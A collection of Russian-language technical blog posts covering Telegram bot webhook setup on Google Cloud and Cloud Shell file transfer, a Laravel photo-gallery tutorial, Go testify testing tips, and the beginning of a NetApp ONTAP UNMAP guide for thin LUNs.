Обратите внимание, что ваш токен указывается два раза. Кроме того, важно, чтобы YOUR.DOMAIN был указан в таком виде, как это в сертификате. Например. Я зарегистрировал домен mydreem.com, регистратор оформил мне ssl-сертификат на домен www.mydreem.com. Вместо YOUR.DOMAIN указывать нужно последний www.mydreem.com.
#### Как проверить, установлен ли webhook?
Вы можете проверить установлен ли webhook из броузера следующей командой:
```
https://api.telegram.org/botYOUR-TOKEN/getWebhookInfo
```
Это работает для всех случаев. В ответ вы должны получить что-то типа этого в случае, если webhook установлен и бот запущен:
```
{"ok":true,"result":{"url":"https://35.224.231.90:8443/712308912:DLGSteczdUnPdnNYLzNikaGOhome7l9q3vova/","has_custom_certificate":true,"pending_update_count":0,"max_connections":40}}
```
Или типа этого, когда webhook установлен, но бот не работает (не запущен):
```
{"ok":true,"result":{"url":"https://35.224.231.90:8443/712308912:DLGSteczdUnPdnNYLzNikaGOhome7l9q3vova/","has_custom_certificate":true,"pending_update_count":2,"last_error_date":1564506964,"last_error_message":"Connection refused","max_connections":40}}
```
#### Как сбросить webhook?
Иногда вам может потребоваться сменить у бота сертификат, например, в случае переезда на другой сервер (домен). Тогда токен остается, а сертификат меняется (webhook устанавливается заново). Или возникает необходимость запустить бот не на webhook’е, а на polling’е (если webhook установлен, polling работать не будет). В обоих случаях полезна команда, которая “сбрасывает” webhook:
```
https://api.telegram.org/botYOUR-TOKEN/setWebhook
```
Теперь все готово для загрузки кода на сервер и запуска бота. Если вы мастер игры в командной строке в десять пальцев, то для вас это не составит труда. И через минуту ваш бот заработает. Если нет, то следующий раздел поможет несколько облегчить задачу загрузки/выгрузки файлов на ваш сервер и управления ими.
Cloud Shell or “Drop Dead Beautiful” (“Убийственно красива”)
------------------------------------------------------------
Мне как человеку далекому от системного администрирования тяжело понять, почему в век торжества искусственного интеллекта мы все еще общаемся с серверами командной строкой как в былые годы на ЕС/СМ — ЭВМ. Предположим, что существуют причины, для простых смертных неведомые. Тогда такое явление как Cloud Shell в GCP необходимо принять с большой радостью. Это средство позволяет, пусть и с костылями, но несколько облегчить труд непосвященных. Хотя может и навредить, если не знать некоторые нюансы.
[Cloud Shell](https://cloud.google.com/shell/) предоставляет доступ к облачным ресурсам из командной строки прямо из броузера. Вы можете ~~легко~~ управлять своими проектами и ресурсами, не устанавливая Google Cloud SDK или другие инструменты в своей системе (последние два предложения взяты с их странички, “легко” зачеркнуто мной). Как управлять своими проектами из командной строки можно узнать [здесь](https://cloud.google.com/compute/docs/gcloud-compute/). Но основная для нас фишка не в этом. Запустим Cloud Shell (см. gif-ку ниже, взято с сайта google).
Вы зашли в Cloud Shell. Теперь, если нажать на кнопку в виде карандаша, то откроется “редактор текстов версии beta”.
В меню “Help/About” можно узнать, что это “theia-editor-for-cloudshell-preview 0.0.1”. Я не буду под конец статьи углубляться в особенности работы с этим редактором. Выделю только ключевые моменты. Это не только редактор для нескольких языков (проверял только с Python), но и файловый менеджер. Вы можете легко организовать обмен файлами между Cloud Shell и вашим локальным компьютером. Мышкой можно переносить файлы и каталоги в пределах пространства Cloud Shell.
Обратите внимание, я нигде выше не написал, что с помощью редактора можно редактировать и управлять файлами на вашем сервере (инстансе). Но даже этого вполне достаточно, чтобы облегчить нам жизнь. И об этом немного ниже. А сейчас я расскажу нечто важное о Cloud Shell. Это необходимо понимать, чтобы не попасть в просак, как это случилось со мной.
Cloud Shell — это сервер на базе Debian с 5Гб в виде диска и 1.7Гб оперативной памяти. На нем уже предустановлено некоторое ПО (включая Python). Cloud Shell легко можно принять за ваш инстанс, установить на него conda, создать env и запустить бота. И, если бот на polling, то он будет работать. Если на webhook, то работать не будет, потому что все порты у Cloud Shell закрыты! И сколько не открывай порты на инстансе, на Cloud Shell они не появятся.
Я по своей юношеской неопытности и невнимательности попался в эту ловушку и долго пытался понять, почему же Телеграм не видит моего бота с webhook’ом. Тогда я сильно расстроился. Но жена согрела, а сыновья успокоили, и появилась эта статья.
Кстати, Cloud Shell существует вне пространства и времени (шутка близкая к истине). Если вы удалите у себя все инстансы и все проекты, ваш Cloud Shell продолжит существовать еще 120 дней со всем, что вы в него закачали. Не путайте это с резервным копирование ваших серверов.
Итак. Предупрежден, значит вооружен. И теперь мы можем поговорить об удобствах и познакомиться с парой полезных команд.
Например, если вы хотите воспользоваться Cloud Shell как терминалом для доступа к своему серверу (например, webhook-bot), то необходимо в командной строке активировать свой инстанс:
```
$ gcloud compute ssh webhook-bot --zone us-central1-a
```
После этого вы оказываетесь в командной строке своего сервера. Вернуться в Cloud Shell можно командой “exit”. Предположим вы хотите скопировать какие-то файлы из Cloud Shell на инстанс. Для этого в командной строке Cloud Shell (не инстанса) набираем следующую команду:
```
$ gcloud compute scp --recurse ~/telebot/my_favorite_robot.py webhook-bot:~/telebot --zone us-central1-a
```
Если поменять источник с назначением местами, то произойдет копирование с инстанса в Cloud Shell. В примере ниже мы копируем файл “ex1.py” из каталога “/examples” сервера “webhook-bot” в каталог “/telebot2” Cloud Shell:
```
$ gcloud compute scp --recurse webhook-bot:~/examples/ex1.py --zone us-central1-a ~/telebot2
```
Эти и другие команды по обмену файлами можно найти [здесь](https://cloud.google.com/compute/docs/instances/transfer-files#transfergcloud). Обмениваться можно не только файлами, но и целыми каталогами. В итоге мы получаем следующую схему, облегчающую нам жизнь. С локального компа мы копируем файлы нажатием пары кнопок на мышке в Cloud Shell через файловый менеджер редактора “theia-editor-for-cloudshell-preview 0.0.1”. А затем переправляем это на своей сервер (инстанс) командной строкой. Если нам требуется что-то оперативно отредактировать, мы это можем сделать в том же редакторе в Cloud Shell и забросить файлы той же командой на сервер. Получается достаточно оперативно.
Верю, что существуют более элегантные и удобные во всех отношениях пути обмена и управления файлами для облачного сервера на GCP (без установки дополнительных программ на локальный компьютер). Возможно, через [Cloud Storage](https://cloud.google.com/storage/). Скажу откровенно, я потратил на поиски и эксперименты по этому вопросу всего несколько часов. Поэтому буду признателен, если вы поделитесь своими идеями или работающими решениями в комментариях.
Итак. Мы загрузили файлы на сервер (инстанс). И, если вы еще не запустили бот, то пора это сделать, зайдя в терминал сервера, активировав необходимое виртуальное окружение и набрав команду по типу “python my\_webhook\_bot.py”. Все должно заработать. Чтобы бот продолжил работать при закрытии терминала, его нужно запускать в фоновом режиме. Например, так “nohup python my\_webhook\_bot.py &”. Квест, как вывести процесс из фонового режима и завершить его, я оставляю вам, если, конечно, вы еще не знаете.
Заключение
----------
Надеюсь, эта статья оказалась вам полезной, помогла сэкономить время и избежать ошибок, которые сделал я при написании телеграм-бота с webhook’ами и размещением его на сервере. Все, что описано в статье, я прошел сам, и на дату написания, июль-август 2019 года, работало именно так. Хочу выразить особую благодарность [Михаилу Крутикову](https://github.com/pgmmpk) за совместный серфинг по просторам сервисов GCP и помощь в осознании ряда важных истин. Я открыт для вопросов, дискуссий и буду благодарен за советы в комментариях к этой статье. Или пишите смело мне в Телеграм [@Eduard\_Lanchev](http://tglink.me/Eduard_Lanchev).
До последнего момента для меня был открыт вопрос, стоит ли давать ссылку на свой телеграм-бот. Друзья убедили меня, что стоит. Пообщаться с моим ботом можно по адресу [@AelitaSoccerBot](http://tglink.me/AelitaSoccerBot). Бот в самом начале пути, и над ним предстоит еще много работать. Поэтому пишите, если что-то не так, пишите, если хотите поделиться своим опытом или дать совет. Моя благодарность не будет иметь границ в разумных пределах. *Примечание. К концу 2019 года бот был отключен по причине недостатка времени на его поддержку и развитие.*
Мой канал в телеграме "Ланчев говорит"<https://t.me/lanchev_says> — заходите, буду рад видеть.
И в завершении хочется пожелать успеха всем ботоводам и моим коллегам датасайентистам!
#### Полезные ссылки
1. [Telegram Bot API](https://core.telegram.org/bots/api)
2. [Bot Code Examples](https://core.telegram.org/bots/samples)
3. [python-telegram-bot](https://github.com/python-telegram-bot/python-telegram-bot)
4. [pyTelegramBotAPI](https://github.com/eternnoir/pyTelegramBotAPI)
5. [AIOGram](https://github.com/aiogram/aiogram)
6. [ssl — TLS/SSL wrapper for socket objects](https://docs.python.org/3/library/ssl.html#module-ssl)
7. [Heroku](https://www.heroku.com/)
8. [Google Cloud Platform](https://cloud.google.com/)
9. [Google Compute Engine](https://cloud.google.com/compute/)
10. [Marvin's Marvellous Guide to All Things Webhook](https://core.telegram.org/bots/webhooks)
11. [Conda](https://conda.io)
12. [Virtualenv](https://virtualenv.pypa.io)
13. [Cloud Shell](https://cloud.google.com/shell/)
14. [The gcloud compute command-line tool](https://cloud.google.com/compute/docs/gcloud-compute/)
15. [Transferring files using the gcloud command-line tool](https://cloud.google.com/compute/docs/instances/transfer-files#transfergcloud)
16. [Google Cloud Storage](https://cloud.google.com/storage/) | https://habr.com/ru/post/462141/ | null | ru | null |
# Laravel: объясняем основные понятия. Часть вторая: «Практика»
Всем привет! Продолжаем серию авторских публикаций в преддверии старта курса [«Framework Laravel»](https://otus.pw/naCJ/). В прошлой [статье](https://habr.com/ru/company/otus/blog/470794/) мы с вами посмотрели на теоретические основы Laravel. Однако теорию любого фреймворка можно изучать достаточно долго и ничего не понять, пока сам не напишешь ничего на практике.
Поэтому давайте мы с вами напишем приложение, в котором каждому пользователю можно будет авторизовываться, создавать новые альбомы и загружать туда фотографии. *Если вы не знаете пока, что такое MVC, [почитайте это](https://ru.wikipedia.org/wiki/Model-View-Controller) , скоро вам предстоит воспользоваться этим на практике*.
Подобного рода гайды начинаются с объяснения, как настроить свое окружение и т.д. Проблема в том, что на каждой платформе оно разное, но хочется, чтобы статья была интересна всем. Я просто дам ссылки на необходимое, а вы постараетесь поставить и настроить это самостоятельно.
**Итак, нам потребуется:**
**Composer**. Для тех, кто в танке, Composer это менеджер пакетов для PHP (да, как npm для JavaScript). Скачать его можно [здесь](https://getcomposer.org/download/) .
Сам **Laravel**. Здесь есть несколько самых популярных вариантов: Homestead и Valet (и на самом деле множество других). Однако, последний подходит только для Mac OS. Технически, читатель может воспользоваться любой любимой сборкой, лишь бы она соответствовала [этим](https://laravel.ru/docs/v5/installation#%D1%82%D1%80%D0%B5%D0%B1%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) требованиям.
И малозаметная деталь, но **[Node.js](https://nodejs.org/ru/)** нам тоже понадобится для установки npm пакетов.
Выполняем команду: `composer global require laravel/installer` для установки Laravel.
Не забудьте поместить каталог `$Home/.composer/vendor/bin` (или его эквивалент в вашей ОС) в вашу переменную `PATH`, чтобы команда Laravel заработала в вашей системе.
Итак, хороший проект начинается с понятного ТЗ. **Давайте попробуем сформулировать основные требования к нашему несложному приложению:**
У пользователя есть возможность загружать фотографии на сайт в созданные им самими альбомы. Он может зарегистрироваться, и может авторизоваться. База данных — MySQL. Фреймворк, который используется для упрощения процесса верстки — Bootstrap, как самый распространённый фреймворк для верстки.
Первое действие, которое вы совершаете сразу после создания — это подключение базы данных. Если вы пока плохо понимаете, как установить и запустить свою базу данных, воспользуйтесь готовыми desktop-решениями от корпорации Зла: [здесь](https://www.mysql.com/products/community/) и [здесь](https://www.mysql.com/products/workbench/). Этого поначалу будет достаточно.
Итак, все готово. Проходим в свою любимую директорию и начинаем проект с
```
laravel new gallery
```
Далее нужно подключить нашу базу данных. Для этого проходим в MySQL Branch создаем новую базу данных **gallery** (не забудьте настроить Сharacter Set на utf-8, и Сollation на `utf_general_ci` для избежания проблем с русским языком).
Далее проходим в файл `.ENV` и настраиваем подобное подключение, не забыв поменять переменные на свое имя пользователя и пароль:
```
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=gallery
DB_USERNAME=pavel
DB_PASSWORD=
```
После этого мы сможем сделать миграцию наших баз данных.
```
php artisan migrate
```
Если вы правильно настроили ваше подключение в `.ENV`, то у вас все должно сработать.
Как мы с вами договорились на т/з, у нас будет процесс авторизации, регистрации, а также у пользователя будет возможность создавать альбомы и загружать туда фотографии. Для реализации всего нам потребуются соответствующие таблицы в базе данных.
##### Создаем таблицу *albums*
Итак, с чего начинается бэкэнд? С создания таблицы в нашей базе данных. Эта команда в терминале создаст нам возможность совершить миграцию в базу данных:
```
php artisan make:migration CreateAlbumsTable
```
Итак, нам нужно определить, какие у нас должны быть колонки в нашей таблице. Это нужно сделать в файле, который создался у вас за счет последней миграции. Он находится в вашем проекте в папке `gallery/database/migrations` и название у него связано со временем его создания. Его нужно отредактировать следующим образом:
```
php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateAlbumsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('albums', function(Blueprint $table)
{
$table-increments('id')->unsigned();
$table->string('name'); //имя нашего альбома
$table->text('description'); // описание нашего альбома
$table->string('cover_image'); //картинка на превью
$table->timestamps(); // дата создания. Необязательно ее показывать, но может быть полезна
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('albums');
}
}
```
Не забудьте сделать
```
php artisan migrate
```
Теперь вкладка вашей базы данных в MySQL Branch должна принять следующий вид:
Итак, мы создали нашу базу данных, теперь нам нужно связать нашу базу данных с моделью *Eloquen*, которая и будет взаимодействовать с нашей базой данных.
### Создаем модель *Album*
Теперь нам нужно создать модель Eloquent ORM. Если вы не понимаете, как мы так быстро перешли от одного к другому, вам стоит почитать [вот это.](https://ru.wikipedia.org/wiki/ActiveRecord) Воспользуемся для генерации шаблона модели все тем же помощником Artisan:
php artisan make:model Album
Далее мы проходим в `gallery/app/Album.php` и редактируем его:
```
php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Album extends Model
{
protected $table = 'albums';
protected $fillable = array('name','description','cover_image');
public function Photos(){
return $this-hasMany('App\Image');
}
}
```
##### Таблица *Images*
Здорово! Наша модель альбома готова, теперь можно заняться нашими изображениями. Здесь процесс повторится вновь:
```
php artisan make:migration CreateImagesTable
```
Идем редактировать нашу миграцию:
```
php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateImagesTable extends Migration
{
public function up()
{
Schema::create('images', function (Blueprint $table) {
$table-increments('id');
$table->integer('album_id')->unsigned();
$table->string('image');
$table->string('description');
$table->foreign('album_id')->references('id')->on('albums')->onDelete('CASCADE')->onUpdate('CASCADE');
$table->timestamps();
});
}
public function down()
{
Schema::dropIfExists('images');
}
}
```
И снова делаем миграцию:
```
php artisan migrate
```
Надеюсь, ваша миграция удалась! Однако нам нужно объяснить ещё одну вещь, которую слишком долго было бы расписывать в комментариях: мы использовали ключ `foreign`, чтобы связать две таблицы *Albums* и *Images*. У каждого альбома есть свои изображения, и если вы хотите удалить какой-то альбом, тогда вы наверное полагаете что и фотографии у вас тоже удалятся.
##### Модель *Image*
Пора создать и модель, которая будет работать с таблицей ***images***. Надеюсь, вы уже догадываетесь что делать:
```
php artisan make:model Image
```
Шаблон создан, идем в `gallery/app/Image.php` его редактировать.
Здесь тоже все должно быть понятно:
```
class Image extends Model
{
protected $table = 'images'; //сама таблица, с которой мы собираемся связываться
protected $fillable = array('album_id','description','image');
//свойства
}
```
Наша модель *Image* готова. Теперь нам потребуется контроллер для создания альбомов в нашей базе данных.
##### Создание альбома
Что бы сохранять, показывать и удалять в нашем альбоме, нам нужны некоторые функции в нашем контроллере. Но для начала нужен сам контроллер:
```
php artisan make:controller AlbumsController
```
Заходим в `gallery/app/Http/Controllers/AlbumsController.php`
```
php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\MessageBag;
use Validator;
use App\Album;
class AlbumsController extends Controller
{
public function getList() //получение списка альбомов
{
$albums = Album::with('Photos')-get();
return view('index')->with('albums',$albums);
}
public function getAlbum($id)
{
$album = Album::with('Photos')->find($id);
$albums = Album::with('Photos')->get();
return view('album', ['album'=>$album, 'albums'=>$albums]);
}
public function getForm()
{
return view('createalbum'); //форма создания альбома
}
public function postCreate(Request $request)
{
$rules = ['name' => 'required', 'cover_image'=>'required|image']; // нельзя создать альбом без имени и обложки
$input = ['name' => null];
//валидатор мы обсудим в следующей части
$validator = Validator::make($request->all(), $rules);
if($validator->fails()){
return redirect()->route('create_album_form')->withErrors($validator)->withInput();
}
$file = $request->file('cover_image');
$random_name = str_random(8);
$destinationPath = 'albums/';
$extension = $file->getClientOriginalExtension();
$filename=$random_name.'_cover.'.$extension;
$uploadSuccess = $request->file('cover_image')->move($destinationPath, $filename);
$album = Album::create(array(
'name' => $request->get('name'),
'description' => $request->get('description'),
'cover_image' => $filename,
));
return redirect()->route('show_album',['id'=>$album->id]);
}
public function getDelete($id) // возможность удаления альбома
{
$album = Album::find($id);
$album->delete();
return Redirect::route('index');
}
}
```
Далее нам предстоит заняться переопределением наших путей. Для тех, кто не знает, роутинг — это настройка путей, которые показываются пользователю в браузере, и действий, которое должно совершать наше приложение. Мы заходим в файл `web.php`:
```
php
//роутинг альбомов
Route::get('/', array('as' = 'index','uses' => 'AlbumsController@getList'));
//получение списка альбомов на главной странице
Route::get('/createalbum', array('as' => 'create_album_form','uses' => 'AlbumsController@getForm'));
//создание альбома из формы
Route::post('/createalbum', array('as' => 'create_album','uses' => 'AlbumsController@postCreate'));
//само создание альбома
Route::get('/deletealbum/{id}', array('as' => 'delete_album','uses' => 'AlbumsController@getDelete'));
// удаление альбома
Route::get('/album/{id}', array('as' => 'show_album','uses' => 'AlbumsController@getAlbum'));
// удаление альбома
//Эта часть связана с обработкой самих фотографий
Route::get('/addimage/{id}', array('as' => 'add_image','uses' => 'ImageController@getForm'));
//добавление изображений в форме
Route::post('/addimage', array('as' => 'add_image_to_album','uses' => 'ImageController@postAdd'));
//добавление изображений в сам альбом
Route::get('/deleteimage/{id}', array('as' => 'delete_image','uses' => 'ImageController@getDelete'));
//удаление
Route::post('/moveimage', array('as' => 'move_image', 'uses' => 'ImageController@postMove'));
```
> Здорово. Что бы наше приложение точно могло заработать, перед настройками представления вида нам нужно убедиться, что у нас есть необходимые ссылки на ярлыки (alias) необходимых нам классов в конце файла `gallery/config/app.php`. Это только технические настройки:
>
>
>
>
> ```
> 'aliases' => [
>
> 'App' => Illuminate\Support\Facades\App::class,
> 'Artisan' => Illuminate\Support\Facades\Artisan::class,
> 'Auth' => Illuminate\Support\Facades\Auth::class,
> 'Blade' => Illuminate\Support\Facades\Blade::class,
> 'Broadcast' => Illuminate\Support\Facades\Broadcast::class,
> 'Bus' => Illuminate\Support\Facades\Bus::class,
> 'Cache' => Illuminate\Support\Facades\Cache::class,
> 'Config' => Illuminate\Support\Facades\Config::class,
> 'Cookie' => Illuminate\Support\Facades\Cookie::class,
> 'Crypt' => Illuminate\Support\Facades\Crypt::class,
> 'DB' => Illuminate\Support\Facades\DB::class,
> 'Eloquent' => Illuminate\Database\Eloquent\Model::class,
> 'Event' => Illuminate\Support\Facades\Event::class,
> 'File' => Illuminate\Support\Facades\File::class,
> 'Gate' => Illuminate\Support\Facades\Gate::class,
> 'Hash' => Illuminate\Support\Facades\Hash::class,
> 'Lang' => Illuminate\Support\Facades\Lang::class,
> 'Log' => Illuminate\Support\Facades\Log::class,
> 'Mail' => Illuminate\Support\Facades\Mail::class,
> 'Notification' => Illuminate\Support\Facades\Notification::class,
> 'Password' => Illuminate\Support\Facades\Password::class,
> 'Queue' => Illuminate\Support\Facades\Queue::class,
> 'Redirect' => Illuminate\Support\Facades\Redirect::class,
> 'Redis' => Illuminate\Support\Facades\Redis::class,
> 'Request' => Illuminate\Support\Facades\Request::class,
> 'Response' => Illuminate\Support\Facades\Response::class,
> 'Route' => Illuminate\Support\Facades\Route::class,
> 'Schema' => Illuminate\Support\Facades\Schema::class,
> 'Session' => Illuminate\Support\Facades\Session::class,
> 'Storage' => Illuminate\Support\Facades\Storage::class,
> 'URL' => Illuminate\Support\Facades\URL::class,
> 'Validator' => Illuminate\Support\Facades\Validator::class,
> 'View' => Illuminate\Support\Facades\View::class,
> 'Form' => Collective\Html\FormFacade::class,
> 'Html' => Collective\Html\HtmlFacade::class,
>
> ],
>
> //потому что класса FORM у вас скорее всего нет)
>
> ```
>
Отлично! Теперь нам нужно определить наши представления! Проходим в папку `gallery/resources/views`. Можете удалить `welcome.blade.php`, можете оставить, неважно. Создаем `index.blade.php` и подпапку `includes`, чтобы сложить туда повторяющиеся части `view`. Итак, наш `index.blade.php` должен принять следующий вид:
```
@include('includes.header')
@include('includes.nav')
@foreach($albums as $album)
### {{$album->name}}
{{$album->description}}
{{count($album->Photos)}} image(s).
Created date: {{ date("d F Y",strtotime($album->created\_at)) }} at {{date("g:ha",strtotime($album->created\_at)) }}
[Показать галерею]({{route('show_album', ['id'=>$album->id])}})
@endforeach
```
> Содержимое `includes/header.blade.php`:
>
>
>
>
> ```
>
>
>
>
> Мои альбомы
>
>
>
> body {
> padding-top: 50px;
> }
> .starter-template {
> padding: 40px 15px;
> text-align: center;
> }
>
>
>
> ```
>
> Содержимое `includes/nav.blade.php`:
>
>
>
>
> ```
>
>
>
>
>
>
>
> [Мои альбомы](/)
>
> * [Создание нового альбома]({{URL::route('create_album_form')}})
>
>
>
>
>
>
> ```
>
На этом на сегодня все! Это, понятное дело, только первая часть нашего приложения. Всем спасибо за внимание, в следующей части дополним наши `view` и обсудим вопрос валидизации изображений.
**Полезные ссылки:**
[Документация на русском языке](https://laravel.ru/docs/v5)
[Полезный гайд на английском, который лучше, чем в документации объясняет как работает наследование и расширение Blade-шаблонов](https://scotch.io/tutorials/simple-laravel-layouts-using-blade)
[Множество полезной информации и практических примеров создания приложений](https://laravel.ru/tags/Laracasts) | https://habr.com/ru/post/471776/ | null | ru | null |
# Четыре простых лайфхака при написании тестов на Go + testify
Хотя язык программирования Go идёт в комплекте со встроенным тестовым фреймворком, мне сложно себе представить написание всего того количества тестов, что я написал, без [testify](https://github.com/stretchr/testify). В этой заметке я расскажу про несколько маленьких неочевидных трюков, которым я научился в процессе.
Различайте assert и require
---------------------------
В testify есть два основных пакета с проверками — [assert](https://pkg.go.dev/github.com/stretchr/testify/assert) и [require](https://pkg.go.dev/github.com/stretchr/testify/require). Набор проверок в них идентичен, но фейл require-проверки означает прерывание выполнения теста, а assert-проверки — нет.
Когда мы пишем тест, мы хотим, чтобы неудачный запуск выдал нам как можно больше информации о текущем (неправильном) поведении программы. Но если у нас есть череда проверок с require, неудачный запуск сообщит нам только о первом несоответствии.
```
func TestBehavior(t *testing.T) {
...
price, err := priceManager.GetPrice(ctx, productID)
require.NoError(t, err)
require.Equal(t, 300, price.Amount)
require.Equal(t, money.USD, price.Currency)
}
/*
=== RUN TestBehavior
temp_test.go:21:
Error Trace: behavior_test.go:21
Error: Not equal:
expected: 300
actual : 42 // but is it at least bucks?
Test: TestBehavior
--- FAIL: TestBehavior (0.00s)
Expected :300
Actual :42
*/
```
Поэтому имеет смысл пользоваться require-проверками только если дальнейшее выполнение теста в случае невыполнения условия лишено смысла. Например, когда мы проверяем отсутствие ошибки, или валидируем длину списка, в который полезем дальше по коду теста.
```
func TestBehavior(t *testing.T) {
...
price, err := priceManager.GetPrice(ctx, productID)
require.NoError(t, err)
assert.Equal(t, 300, price.Amount)
assert.Equal(t, money.USD, price.Currency)
}
/*
=== RUN TestBehavior
behavior_test.go:22:
Error Trace: behavior_test.go:22
Error: Not equal:
expected: 300
actual : 42
Test: TestBehavior
behavior_test.go:23:
Error Trace: behavior_test.go:23
Error: Not equal:
expected: USD
actual : RUB
Test: TestBehavior
--- FAIL: TestBehavior (0.00s)
*/
```
Также стоит быть осторожнее при использовании горутин в тестах. require-проверки производятся через `runtime.goexit()`, так что они сработают ожидаемым образом только в основной горутине.
Используйте подходящие проверки вместо универсальных
----------------------------------------------------
Очевидно, для реализации практически любого мыслимого теста (кроме паникующего) достаточно одной функции `assert.True()`. Тем не менее, в testify есть уйма проверок для разных случаев жизни. Использование более подходящей проверки делает сообщения об ошибках более читаемыми и экономит код.
```
❌ require.Nil(t, err)
✅ require.NoError(t, err)
❌ assert.Equal(t, 300.0, float64(price.Amount))
✅ assert.EqualValues(t, 300.0, price.Amount)
❌ assert.Equal(t, 0, len(result.Errors))
✅ assert.Empty(t, result.Errors)
❌ require.Equal(t, len(expected), len(result)
sort.Slice(expected, ...)
sort.Slice(result, ...)
for i := range result {
assert.Equal(t, expected[i], result[i])
}
✅ assert.ElementsMatch(t, expected, result)
```
Аналогично, тест по умолчанию считается упавшим в случае паники, но использование `assert.NotPanics()` помогает будущему читателю теста понять, что вы проверяете именно её отсутствие.
Структурируйте тесты с помощью Suite и t.Run()
----------------------------------------------
Этот совет может звучать совсем уж очевидным, но плохо структурированные тесты — проблема, встречающаяся повсеместно.
[Suite](https://pkg.go.dev/github.com/stretchr/testify/suite) собирает тесты, объединённые общими компонентами и тестовыми данными.
Методы сюиты проверяют разные, независимые друг от друга сценарии использования этих компонент и сущностей. Они могут запускаться в произвольном порядке.
Секции t.Run() разделяют сценарии на последовательные логические части.
При этом возможностью двухуровнево структурировать тесты внутри сюиты легко злоупотребить — этого тоже следует избегать. Однажды я наткнулся на сюиту в 2 000 строк кода — и оказалось, что это маленький тест, который я написал несколько лет назад и назвал слишком общими словами, спровоцировав коллег одного за другим добавлять туда новые тесты для совершенно несвязанных фичей. Зато каждый тест был в отдельном методе.
Прячьте вспомогательные методы за //go:build
--------------------------------------------
Иногда в тестах бывает необходимо вызвать какой-то метод у объекта, который в обычном продакшне не нужен (или даже опасен). Например, если у нас есть компонент с кэширующим слоем и мы хотим после изменения каких-то тестовых данных этот кэш сбросить.
В таком случае удобно положить реализацию этого метода и тестовый интерфейс в отдельный файл с именем `*_test.go`. Так мы выставляем наружу нужные для тестирования методы, но не засоряем публичный интерфейс пакета.
```
package mypackage
type TestManager interface {
Manager
ClearCache(ctx context.Context) error
}
// Поскольку мы в том же пакете, мы можем обращаться
// к приватным структурам и даже добавлять новые методы.
func (m *manager) ClearCache(ctx context.Context) error {
return m.myStuffCache.Clear(ctx)
}
```
Однако, в таком случае наш тестовый тип и метод будут доступны *только в тестах в этой же папке*: в пакетах `mypackage` и `mypackage_test`. Это довольно серьёзное ограничение. (Также для таких ситуаций предусмотрен довольно хитрый механизм сборки, способный значительно замедлить покоммитные тесты.)
Гораздо универсальнее и удобнее положить их в обычный `.go`-файл и выключить его компиляцию клаузой `//go:build testmode`.
```
//go:build testmode
package mypackage
type TestManager interface {
Manager
ClearCache(ctx context.Context) error
}
func (m *manager) ClearCache(ctx context.Context) error {
return m.myStuffCache.Clear(ctx)
}
```
При этом нужно будет начать прокидывать `-tags testmode` при прогоне тестов и сделать отдельную джобу, проверяющую сборку бинарей без этого тега (если у вас в принципе есть CI/CD).
Также в файлы с `//go:build testmode` можно складывать тестовые утилиты, свои кастомные сюиты со вспомогательными методами и так далее.
А какие best practices написания тестов на Go используете вы? Поделитесь в комментариях! | https://habr.com/ru/post/666440/ | null | ru | null |
# NetApp ONTAP: UNMAP в SAN окружении
Команда UNMAP стандартизирована в рамках набора команд T10 SCSI и используется для высвобождения пространства из тонких лунов назад хрнилищу данных в SAN окружении. Как я [писал ранее](http://habrahabr.ru/post/224869/), протоколы SAN и NAS понемногу заимствуют друг у друга всё лучшее. Одна из полезных вещей которая появилась достаточно давно, это возможность обратной связи СХД и хоста, для того чтобы «возвращать» удалённые блоки в тонкий лун, чего раньше так не хватало в SAN. Функцией UNMAP по-прежнему мало кто пользуется в SAN окружении, хотя она очень полезна в сочетании как с виртуализированными так и не виртуализированными средами.
Без поддержки команды UNMAP любой тонкий лун созданный на стороне СХД всегда мог **только** [увеличиваться в размере](http://blog.aboutnetapp.ru/archives/tag/thin-provisioning). Его рост был вопросом времени, который безоговорочно всегда заканчивался тем, что такой тонкий лун в конце концов станет занимать свой полный объём, который ему положен, т.е. в конце концов он станет толстым.
Вот представьте у вас на датасторе живут 3 виртуальные машины, каждая занимает 100GB. Ваш датастор находится на тонком луне, который занимает 300GB. Занимаемое пространство со стороны СХД и ESXi одинаковое: 300GB. После удаления одной ВМ, размер вашего луна со стороны СХД по-прежнему 300GB, а со стороны гипервизора занимаемое пространство на датасторе живущем на этом луне 200GB.
Связанно это с тем, что ране не было механизма обратной связи хоста с СХД. А именно, когда хост записывал блок информации в луне, СХД в свою очередь помечала этот блок как используемый. Далее хост мог удалить этот блок, но система хранения уже об этом не знала. Команда UNMAP и есть эта обратная связь, которая отмапливает уже не нужный блок с луна. Наконец-то наш тонкий лун научился не только набирать, но и уменьшать свой вес [начиная с версии прошивки (Clustered Data) ONTAP 8.2](https://kb.netapp.com/support/s/article/faq-windows-scsi-unmap).
#### VMware ESXi & UNMAP
В версии 5.0 функция UNMAP впервые была представлена, включена она была по умолчанию и автоматически запускалась при достижении заданного значения удалённых блоков, в последующих версиях механизм отключён по умолчанию и запускается вручную. Начиная с VMFS-6 (vSphere 6.5) высвобождение пространства происходит автоматически в течении 12 часов, при необходимости ручной механизм запуска высвобождения пространства также доступен. Важно отметить, что высвобождение пространства, о котором сейчас пойдёт речь происходит на уровне гипервизора, т.е. высвобождение удалённых блоков происходит **только** после удаления виртуальной машины или виртуальных дисков *целиком*, а не внутри гостевой ОС.
Если у вас уже есть ESXi и СХД с ONTAP с поддержкой UNMAP, но функция не включена
Нужно её включить со стороны СХД и со стороны гипервизора. Начнём с того, что переведём лун в оффлайн и включим функцию *space-allocation* на СХД (если там остались ВМ в запущенном состоянии, они завершат работу некорректно и возможно будут повреждены, так что их стоит или временно выключить, или временно мигрировать):
```
lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -state offline
lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -space-allocation enabled
lun modify -vserver vsm01 -volume vol2 -lun lun1_myDatastore -state online
```
